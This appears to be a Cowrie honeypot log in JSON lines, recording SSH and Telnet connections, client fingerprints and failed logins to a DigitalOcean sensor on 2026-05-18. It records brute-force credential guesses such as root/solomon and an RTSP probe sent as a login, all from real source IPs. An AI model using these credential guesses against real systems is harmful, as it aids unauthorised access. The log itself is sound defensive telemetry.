{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":59848,"dst_ip":"159.203.135.109","dst_port":22,"session":"bedd5660d937","protocol":"ssh","message":"New connection: 103.15.222.183:59848 (159.203.135.109:22) [session: bedd5660d937]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:17:00.597742Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:17:00.604942Z","src_ip":"103.15.222.183","session":"bedd5660d937","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.125.139","src_port":54180,"dst_ip":"159.203.135.109","dst_port":23,"session":"b452d9dd60ef","protocol":"telnet","message":"New connection: 34.22.125.139:54180 (159.203.135.109:23) [session: b452d9dd60ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:17:00.661627Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.125.139","src_port":54184,"dst_ip":"159.203.135.109","dst_port":23,"session":"2eff146c690b","protocol":"telnet","message":"New connection: 34.22.125.139:54184 (159.203.135.109:23) [session: 2eff146c690b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:17:00.818461Z"}
{"eventid":"cowrie.login.failed","username":"*1","password":"$4","message":"login attempt [*1/$4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:17:00.825198Z","src_ip":"34.22.125.139","session":"2eff146c690b","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:17:00.854551Z","src_ip":"103.15.222.183","session":"bedd5660d937","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.125.139","src_port":54192,"dst_ip":"159.203.135.109","dst_port":23,"session":"30238d66bb6f","protocol":"telnet","message":"New connection: 34.22.125.139:54192 (159.203.135.109:23) [session: 30238d66bb6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:17:00.982890Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.125.139","src_port":54200,"dst_ip":"159.203.135.109","dst_port":23,"session":"4dea22696f3f","protocol":"telnet","message":"New connection: 34.22.125.139:54200 (159.203.135.109:23) [session: 4dea22696f3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:17:01.138985Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.125.139","src_port":54216,"dst_ip":"159.203.135.109","dst_port":23,"session":"028d115bf547","protocol":"telnet","message":"New connection: 34.22.125.139:54216 (159.203.135.109:23) [session: 028d115bf547]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:17:01.297646Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.125.139","src_port":54230,"dst_ip":"159.203.135.109","dst_port":23,"session":"55362faa2822","protocol":"telnet","message":"New connection: 34.22.125.139:54230 (159.203.135.109:23) [session: 55362faa2822]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:17:01.453804Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"solomon","message":"login attempt [root/solomon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:17:01.609390Z","src_ip":"103.15.222.183","session":"bedd5660d937","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.125.139","src_port":54236,"dst_ip":"159.203.135.109","dst_port":23,"session":"a23df43484c0","protocol":"telnet","message":"New connection: 34.22.125.139:54236 (159.203.135.109:23) [session: a23df43484c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:17:01.618325Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:17:01.693674Z","src_ip":"170.238.160.191","session":"71d6e6534370","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.125.139","src_port":54242,"dst_ip":"159.203.135.109","dst_port":23,"session":"f8cd502ae92a","protocol":"telnet","message":"New connection: 34.22.125.139:54242 (159.203.135.109:23) [session: f8cd502ae92a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:17:01.775046Z"}
{"eventid":"cowrie.session.closed","duration":0.006452322006225586,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:17:01.781353Z","src_ip":"34.22.125.139","session":"f8cd502ae92a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.125.139","src_port":54246,"dst_ip":"159.203.135.109","dst_port":23,"session":"0224d5f18ebb","protocol":"telnet","message":"New connection: 34.22.125.139:54246 (159.203.135.109:23) [session: 0224d5f18ebb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:17:01.931177Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.125.139","src_port":54250,"dst_ip":"159.203.135.109","dst_port":23,"session":"181b62afbfbd","protocol":"telnet","message":"New connection: 34.22.125.139:54250 (159.203.135.109:23) [session: 181b62afbfbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:17:02.106632Z"}
{"eventid":"cowrie.login.failed","username":"OPTIONS rtsp://example.com RTSP/1.0","password":"Cseq: 6692","message":"login attempt [OPTIONS rtsp://example.com RTSP/1.0/Cseq: 6692] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:17:02.114186Z","src_ip":"34.22.125.139","session":"181b62afbfbd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.22.125.139","src_port":54258,"dst_ip":"159.203.135.109","dst_port":23,"session":"15d19988aab7","protocol":"telnet","message":"New connection: 34.22.125.139:54258 (159.203.135.109:23) [session: 15d19988aab7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:17:02.269813Z"}
{"eventid":"cowrie.session.closed","duration":0.005700588226318359,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:17:02.275365Z","src_ip":"34.22.125.139","session":"15d19988aab7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:17:02.863149Z","src_ip":"103.15.222.183","session":"bedd5660d937","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52804,"dst_ip":"10.17.0.5","dst_port":23,"session":"a57c331afd79","protocol":"telnet","message":"New connection: 152.42.224.71:52804 (10.17.0.5:23) [session: a57c331afd79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:17:04.768441Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":60082,"dst_ip":"159.203.135.109","dst_port":22,"session":"016550394b82","protocol":"ssh","message":"New connection: 103.176.20.57:60082 (159.203.135.109:22) [session: 016550394b82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:17:06.677147Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:17:06.687009Z","src_ip":"103.176.20.57","session":"016550394b82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:17:06.941825Z","src_ip":"103.176.20.57","session":"016550394b82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"c43qpul5rz","message":"login attempt [root/c43qpul5rz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:17:07.703228Z","src_ip":"103.176.20.57","session":"016550394b82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:17:08.957014Z","src_ip":"103.176.20.57","session":"016550394b82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34014,"dst_ip":"10.17.0.5","dst_port":23,"session":"27fd4520e8f6","protocol":"telnet","message":"New connection: 152.42.224.71:34014 (10.17.0.5:23) [session: 27fd4520e8f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:17:11.918986Z"}
{"eventid":"cowrie.session.closed","duration":34.413819551467896,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:17:12.853314Z","src_ip":"34.22.125.139","session":"5f26811854bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.795779466629028,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:17:12.902275Z","src_ip":"34.22.125.139","session":"181b62afbfbd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.97710657119751,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:17:12.908104Z","src_ip":"34.22.125.139","session":"0224d5f18ebb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.294548988342285,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:17:12.912787Z","src_ip":"34.22.125.139","session":"a23df43484c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.463379859924316,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:17:12.917013Z","src_ip":"34.22.125.139","session":"55362faa2822","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.783159971237183,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:17:12.922027Z","src_ip":"34.22.125.139","session":"4dea22696f3f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.628888607025146,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:17:12.926390Z","src_ip":"34.22.125.139","session":"028d115bf547","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.948148012161255,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:17:12.930904Z","src_ip":"34.22.125.139","session":"30238d66bb6f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.124069213867188,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:17:12.942340Z","src_ip":"34.22.125.139","session":"2eff146c690b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.285109043121338,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:17:12.946610Z","src_ip":"34.22.125.139","session":"b452d9dd60ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.444514989852905,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:17:12.950920Z","src_ip":"34.22.125.139","session":"48bbcd275550","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.61239743232727,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:17:12.955247Z","src_ip":"34.22.125.139","session":"f4285478b66c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.776500940322876,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:17:12.960634Z","src_ip":"34.22.125.139","session":"e2f634269ef9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.939448118209839,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:17:12.964514Z","src_ip":"34.22.125.139","session":"6a26614a8141","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.256434202194214,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:17:12.968266Z","src_ip":"34.22.125.139","session":"b5b87a6bfadd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.10267686843872,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:17:12.971845Z","src_ip":"34.22.125.139","session":"fb74af63bcc4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.422544717788696,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:17:12.979260Z","src_ip":"34.22.125.139","session":"d7b620eede94","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.73604941368103,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:17:12.983250Z","src_ip":"34.22.125.139","session":"bad88bb7b71e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.974417448043823,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:17:12.986762Z","src_ip":"34.22.125.139","session":"acf386f8497a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.135288953781128,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:17:12.990285Z","src_ip":"34.22.125.139","session":"467b1f3fa6b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.29378890991211,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:17:12.993993Z","src_ip":"34.22.125.139","session":"ae50a223702a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.452507972717285,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:17:12.997324Z","src_ip":"34.22.125.139","session":"fb5640646509","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.613824367523193,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:17:13.001624Z","src_ip":"34.22.125.139","session":"25a8aa1d042d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.773408651351929,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:17:13.005862Z","src_ip":"34.22.125.139","session":"326669f7c080","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":14.937199831008911,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:17:13.010712Z","src_ip":"34.22.125.139","session":"2ca5d8277823","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.097468137741089,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:17:13.014373Z","src_ip":"34.22.125.139","session":"3f6dcfdc56dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":27.13620090484619,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:17:17.466659Z","src_ip":"152.42.224.71","session":"76765b0e783d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":59612,"dst_ip":"159.203.135.109","dst_port":22,"session":"c3a5380cab3a","protocol":"ssh","message":"New connection: 89.108.118.91:59612 (159.203.135.109:22) [session: c3a5380cab3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:17:18.408636Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:17:18.415599Z","src_ip":"89.108.118.91","session":"c3a5380cab3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:17:18.558537Z","src_ip":"89.108.118.91","session":"c3a5380cab3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxcvbnmq","message":"login attempt [root/zxcvbnmq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:17:18.989656Z","src_ip":"89.108.118.91","session":"c3a5380cab3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:17:20.134998Z","src_ip":"89.108.118.91","session":"c3a5380cab3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00457429885864,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:17:23.200372Z","src_ip":"152.42.224.71","session":"ebef64186706","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58554,"dst_ip":"10.17.0.5","dst_port":23,"session":"22ee551a6354","protocol":"telnet","message":"New connection: 152.42.224.71:58554 (10.17.0.5:23) [session: 22ee551a6354]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:17:27.080038Z"}
{"eventid":"cowrie.session.connect","src_ip":"181.188.172.6","src_port":51302,"dst_ip":"159.203.135.109","dst_port":22,"session":"193ae31d23fe","protocol":"ssh","message":"New connection: 181.188.172.6:51302 (159.203.135.109:22) [session: 193ae31d23fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:17:29.157536Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:17:29.161491Z","src_ip":"181.188.172.6","session":"193ae31d23fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:17:29.323741Z","src_ip":"181.188.172.6","session":"193ae31d23fe","protocol":"ssh"}
